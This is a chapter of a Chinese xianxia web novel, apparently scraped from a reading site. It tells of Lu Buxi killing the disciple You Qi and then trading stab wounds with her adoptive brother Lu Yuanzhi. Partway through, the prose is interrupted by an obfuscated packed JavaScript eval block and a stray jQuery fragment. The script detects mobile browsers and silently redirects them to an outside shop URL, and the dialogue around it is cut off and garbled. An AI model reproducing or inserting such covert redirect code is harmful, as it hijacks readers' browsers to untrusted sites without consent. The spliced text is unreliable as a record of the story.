陆渊止端详了地上的尸体片刻,像是在欣赏自己一刀两断的刀法,接着转向陆不系,“帮你解决了一个,不客气。”
陆不系没搭理他,径直朝呆立的游祈道:“怎么样,你要同我订契么?”
“……”
游祈手中还握着剑,剑尖却缓缓垂落到了地上。仿佛刚刚魔星的那一刀不仅杀死了傅慕良,也一并斩灭了她的神魂。
“我可是很挑食的。你心怀的嫉妒和愤懑之情……原本单薄了些。不过念在我们这些日子的情谊上,这算是给你的特别优惠了。”陆不系很大度地说。
“……”
“订契之后你就不能待在清平门了,就跟着这位公子走吧。虽然这人脾气坏了点,不过至少还是很好看的。”陆不系甚是贴心地安排妥当,有点不耐烦了,“还在犹豫什么呀,你也要以身殉道么?算了吧阿祈,你又没必要学傅师兄舍生取义。”
阿祈。
她叫得那么自然,仿佛她们仍在浮浪山,仍在某个天气晴好的午后。就像任何一对要好的同门。
游祈望着眼前蹙着眉、表情生动的少女。四周是破碎的楼台和蔓延的血水,但魔女衣裙飘逸,依然没有沾上半点雨水,像是传说中永不熄灭的陵光之火,永远肆意鲜丽。
心中的恐惧忽然消退,游祈蓦地生出一丝憎恨。
为什么偏偏是自己?
要是当初……陆不系搭话的不是她就好了。
*
结识傅慕良已经是游祈这一生中不寻常的一件事了,然而不知出于什么机缘巧合,她又莫名其妙地跟陆不系熟络起来。
原本她只是一个普通的青穗弟子,却跟名列前茅的师兄和风光无限的掌门首徒成为了好友。
那些嬉笑打闹的欢乐是真的。但当陆不系和傅慕良每次下山归来、随意地讲述着斩杀妖魔的经历,她心中渐渐泛起的那一丝妒忌与自卑,亦非虚假。
他们说起那些可怖的妖异,只是轻飘飘地描述怎样狞厉凶狂,却从无后怕之意。那些她难以匹敌的怪物,不过是他们口中的三言两语。
原本……她只会仰视、崇敬着这些出色的同门,可是他们偏偏成了她的朋友。
他们的光采太过耀眼,太过靠近,不可避免地照出她的黯淡。
她能看出傅慕良正是因为“比下有余”,才会不甘心于“比上不足”。那她呢?
游祈明白陆不系也好,傅慕良也好,都不曾因为天资和实力看不起她,一切只是她庸人自扰。然而听到让她只需躲在后面时,她感到的究竟是安心还是一点隐秘的怨怒?
为什么命运如此不平?为什么她没有拥有出类拔萃的禀赋?为什么她只能作为陪衬出现?
这些酸涩的感受在欢声笑语中细微地啃噬着她的心。游祈从未将这些情绪表现出半分,也从未想过暗中做些什么。
她也做不到什么。
因为,她只是那个最普通、最无能为力的“下”。
就连这些暗中滋长的心绪,在心魔眼中,也如此菲薄。
*
游祈扯出一个苦笑,声音嘶哑颤抖:“我的确不是那种会舍生取义的人……也许我本来会答应的吧。可是,傅师兄死了。”
哪怕嫉妒,哪怕悻悻,她也从未想过暗中做些什么。
因为她也是真心将他们当作好友。
水珠不断从她苍白的面上滑落而下,分不清是雨水,还是泪水。
她的眼中第一次呈露出无比鲜明的愤恨,一字一句道:“所以现在,我们是仇敌了。”
*
陆不系转头朝陆渊止摊开手,“喂,你的刀借我一下。”
陆渊止一言不发地把刀递给她。绯色的长刀在阴雨中反倒越发鲜艳明晰,水滴流淌过刀面,映出赤色,宛如血流。
刀柄尚有余温,握在手中也恍惚有一种熟悉的感觉。
陆不系扬起这柄和她的见止刀一模一样的刀。游祈也横剑身前,比起陆不系,她的姿势完全称不上漂亮,甚至显得有些软弱无力。
她凝视着陆不系,嘴唇翕动,仿佛还想说些什么。
但她没来得及出剑,也没来得及开口,心脏已经猝然被长刀贯穿。
少女似乎对自己的死不敢置信,下意识地要抬手捂住伤口,脸上的神情停留在微微的惊讶和恐惧,然后了无生机地重重倒地。
*
陆渊止走近游祈的尸体,伸手虚虚一抓。一堆东西从游祈的心府被掏出,而其中一部话本被他拿在手中。
“这小姑娘看书的品味很高啊。”陆渊止开心地将那本《三山遇龙录》收入自己怀中,转而又有些遗憾,“唉,这下世上我的读者就少了一个了。”
“不好意思啊,下次再多替你宣传宣传,争取让我师父也拜读一下你的大作。”陆不系转手把刀掷了回去,“好了,还给你。”
陆渊止往侧里让了一步,避开直冲心口的长刀。他反手捉住刀柄,闲适得犹如接住一枝落花,“为什么要用我的刀?”
“要是用我自己的剑,很容易被发现是我下的手啊。”陆不系白了他一眼。
“我的意思是,为什么不用你自己的那把刀?”陆渊止轻蔑地打量着她提在手里的剑,“这柄剑用得顺手么?不如我锻的刀吧?”
“是么?我还是更喜欢现在这把剑。”陆不系抚摸过剑刃,用挑衅的语气道。
“这是在跟我置气么?”
“我爱用不用,你管我?”
陆渊止双眸轻轻眯起,看不出是笑是嗔,“管教妹妹也是哥哥的责任。还是说,有了别的男人当师父和师兄,就要抛开哥哥了?”
“怎么会呢,就算你把我赶出家门,我们也是水浓于血的兄妹呀。”陆不系阴阳怪气地回击。
“说来……你手上这根手链是谁送你的?”陆渊止目光偏转,落在她手腕上的彩绳手链上,“好难看,那人的眼光不怎么样啊。”
“我的小情郎送我的,你嫉妒啊?”陆不系故意抬起手腕晃了晃。
“我只是关心你啊。”陆渊止停顿一下,真的弯眸笑了,“你的两个同门都死了,你要是不受点伤,也说不过去吧?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643592|204523||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
“我自然有——”
陆不系话未说完,绯色的长刃已经洞穿了她的腹部。
与被清平剑刺穿时不同的、久违的疼痛迸发开来,几乎让她感到一丝……怀念。
魔星那双秀丽却比过去更为冷厉的眼睛望着她,漆黑的眼瞳中没有映出任何感情,仅仅是戏弄玩物时的嘲谑。
陆不系松手扔下镜花剑,另一把绯红的长刀现于手中。下一瞬,见止刀同样捅入了魔星的身躯。
*
“你一把我一把,很公平吧?”
……
“对了,作为礼物的一部分,你的那把刀我已经起好名字了。”
……
“前朝的《诗》中有言:喓喓草虫,趯趯阜螽。未见君子,忧心忡忡。亦既见止,亦既觏止,我心则降。”
“……虽然很有文化,但跟这把刀有什么关系?”
“当然是寄托了哥哥对你美好的期盼。希望你……”
*
两柄出自一炉的长刀交错,分别没入魔星和魔女的躯壳中。
鲜血混着雨水经流刀身,滴落到她握刀的手上,陆不系忽然欢畅地笑了。
在这场大雨中的第一眼,在过去三十世的生生死死再不复见中,她本以为她和陆渊止之间的关系已经断裂。
但这一刻,触碰着彼此的鲜血,仿佛证明他们之间依然血肉相连。
真是奇怪,明明不是亲兄妹,她却想到了血肉相连这个词……也许是这样互相伤害过太多次,在无数伤口中,血与肉也不知不觉融合了些许。
陆不系也不明白自己在笑什么,或许是在嘲笑,即使只是名义上的兄妹,即使没有爱和恨,他们终归被彼此牵绊。
这一线牵绊并不温暖,也无法称之为重要,只是割舍不绝地存在着,自三百年前的那个雨天起。
她声嘶力竭地笑着,咳出一口血,“我还以为你要杀了我呢。”
虽然同样被捅了一刀,陆渊止却仿佛没事人一般。他抽回刀,接着抓住陆不系的手腕,缓慢地从自己身体内拔出了见止。
长刀在魔女手中消散了形迹。即便在这时,陆不系也神思清晰,没忘了见止绝不能被其他人看见——虽然她也不确定会不会有别人赶来。
缘无寒知道此刻他们死伤惨重么?怀照月又预料到了这场意外的相逢么?
她用最后的力气将刀纳回心府,再也支撑不住,踉跄着倒在地上。
雨水接连不断地坠落,终于打湿了她蜿蜒散乱的长发和衣衫。
“我之前应该说过吧,我会当心不要把你杀掉的。”陆渊止淡淡的声音随大雨从上方落下。
“我还以为……那是过去的事了……”陆不系含糊地喃喃道。
她听到魔星似乎笑了一声,接着视野中阴沉的、雨流如织的天空忽然被一片红色遮住。
陆渊止已经离开了。离去前,他扔下了那把对他而言本不需要的伞。
疾风骤雨中,那把纸伞却没有被风吹走,就这样静静地替陆不系挡住了些许落雨。